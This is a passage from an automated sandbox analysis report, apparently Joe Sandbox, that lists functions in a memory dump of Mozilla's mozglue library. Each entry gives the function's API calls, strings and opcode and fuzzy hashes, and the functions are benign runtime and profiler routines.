Part of subcall function 6C698AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C6B1563), ref: 6C698BD5

free.MOZGLUE(?), ref: 6C6A1174
free.MOZGLUE(?), ref: 6C6A1186

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: b9d50b2a4b8431f7868675881a5dcfdc2c95544afed3b4fb2e42252ad135d9da
Instruction ID: 49dfba786d0adaa59ed0ba26cdbba3b7503cfec9f4aa35b290351c3b2a6838aa
Opcode Fuzzy Hash: b9d50b2a4b8431f7868675881a5dcfdc2c95544afed3b4fb2e42252ad135d9da
Instruction Fuzzy Hash: F961C3756043409FDB10CF65C88079AB7F5BFCA308F04891DE98957712EB31E95ACB9A

Function 6C65B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6AC

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C65B61E), ref: 6C65B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B79A

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction ID: 25f7ad8c1ce3fb9c4c211db8e93f4453b592f1bf7e2131b02846affe1d512b41
Opcode Fuzzy Hash: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction Fuzzy Hash: 5C41D5B2D001159FCB04DF68DC806AFB7B5FF85324F650669E825E7780E731A9148BE9

Function 6C65EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C6D5104), ref: 6C65EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C65EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65EFEC
free.MOZGLUE(?), ref: 6C65F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C65F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C65F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F065
moz_xmalloc.MOZGLUE ref: 6C65F072

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 49165111de3c03516b95465da52a387b2934844702cccbe047f897deb7366f25
Instruction ID: 25846d7eb8670091aa041ee8526c5cda146169a1046695fd6905bd7ecf1497d7
Opcode Fuzzy Hash: 49165111de3c03516b95465da52a387b2934844702cccbe047f897deb7366f25
Instruction Fuzzy Hash: 4441E9B1A001059FCB08CF68DC909AE7769FF85318B34062CE926D7794EB71E915C7EA

Function 6C6CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C696590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6967C8

Part of subcall function 6C6A4290: memcpy.VCRUNTIME140(?,?,6C6B2003,6C6B0AD9,?,6C6B0AD9,00000000,?,6C6B0AD9,?,00000004,?,6C6B1A62,?,6C6B2003,?), ref: 6C6A42C4

Strings

data, xrefs: 6C696593
vml, xrefs: 6C69696C

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vml
API String ID: 511789754-3335688618
Opcode ID: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction ID: 20ff2b914093ae74997b57c34fa08c7436a05d9ac23ef9eda6ba70f89351a345
Opcode Fuzzy Hash: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction Fuzzy Hash: F9D1CE75A083419FD764CF25C840B9EB7E5AFC6308F10492EE58987B51EB30E949CB9B

Function 6C68D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C65EB57,?,?,?,?,?,?,?,?,?), ref: 6C68D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C65EB57,?), ref: 6C68D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C65EB57,?), ref: 6C68D673
free.MOZGLUE(?), ref: 6C68D888

Strings

Wel, xrefs: 6C68D5D9, 6C68D63F
|Enabled, xrefs: 6C68D81E

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wel$|Enabled
API String ID: 4142949111-1036103015
Opcode ID: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction ID: 73895f8debc637035f6ab12ae7658e5f5767ac23accadb84eb3d4b2661b4f139
Opcode Fuzzy Hash: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction Fuzzy Hash: 14A1F2B0A012499FDF10CF69C4907EEBBF1AF4A318F58805ED885AB741C734A845CBB9

Function 6C669830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C6B7ABE), ref: 6C66985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C6B7ABE), ref: 6C6698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C669909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C669918
free.MOZGLUE(?), ref: 6C669975

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: f19d462534e4bbb6d175180e6e170fe5ae577c7268c5f70edb45137fe5f94fa7
Instruction ID: 46417bebb58991fded83a11875da7326b8476b137f449c53d9d74f74598d94e6
Opcode Fuzzy Hash: f19d462534e4bbb6d175180e6e170fe5ae577c7268c5f70edb45137fe5f94fa7
Instruction Fuzzy Hash: 317169746047058FC725CF2AC480956B7F1FF4A328B284AADEC5A8BF90D771B845CB96

Function 6C66B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE), ref: 6C66B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B896

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 8d65663f517cc1ba9019aa32cdd5be14be6eb4379add72ea62ad780bd7f5b39b
Instruction ID: 660f9ae3e6eba31157b9b988089750c6d309a79bba48d77c940fe54830b8b717
Opcode Fuzzy Hash: 8d65663f517cc1ba9019aa32cdd5be14be6eb4379add72ea62ad780bd7f5b39b
Instruction Fuzzy Hash: B3516B35700600CFCB25CF5AC484A6ABBF5FF89318B69855DE98A87B51C731EC01DB89

Function 6C6A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 6C661640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C661699
VerSetConditionMask.NTDLL ref: 6C6616CB
VerSetConditionMask.NTDLL ref: 6C6616D7
VerSetConditionMask.NTDLL ref: 6C6616DE
VerSetConditionMask.NTDLL ref: 6C6616E5
VerSetConditionMask.NTDLL ref: 6C6616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6616F9

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction ID: 5ebc18347cdce2e6c4c196cc0c98d8f41758e16dacbf56acbe91b7dc95ca951f
Opcode Fuzzy Hash: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction Fuzzy Hash: AA21D5B07442086BEB105A66CC85FFBB37CDFC6704F044528F6459B5C0C675AD54C6AA

Function 6C69F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction ID: 0bd65e644daed088f08fe6fcc9a834646c2bc799f70e34fbc658b7f133535696
Opcode Fuzzy Hash: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction Fuzzy Hash: 4D119175201206ABCB44AF5AC8889A97779FFC6759F550416FA0583F01CB71B812CBAE

Function 6C662070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,6C661C5F), ref: 6C6620AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C6620CD
__Init_thread_footer.LIBCMT ref: 6C6620E1
FreeLibrary.KERNEL32 ref: 6C662124

Strings

CoInitializeSecurity, xrefs: 6C6620C7
combase.dll, xrefs: 6C6620A9

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: e8f587b255cae212813fd91fee88bd8eef02f1395703c1e31c8269927b05aa99
Instruction ID: f4ce16b3d5a78bfb26feb4f7e9c2fbc04e8641e78ab249c781a5bd2018ad1a11
Opcode Fuzzy Hash: e8f587b255cae212813fd91fee88bd8eef02f1395703c1e31c8269927b05aa99
Instruction Fuzzy Hash: 60218075200209EFDF11CF96DC88D9A3FB6FB5A355F008114FE0492A50D731A861DF6A

Function 6C6B76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C6B7705

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C6B778F,00000000,00000000,00000000,00000000), ref: 6C6B7731
free.MOZGLUE(00000000), ref: 6C6B7760

Strings

}>il, xrefs: 6C6B76C4

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>il
API String ID: 2538299546-1725928026
Opcode ID: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction ID: 69dadac1c372adee9e4d185efa5b35e7bcfef7ba5702c5b4d1b166416e3f892e
Opcode Fuzzy Hash: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
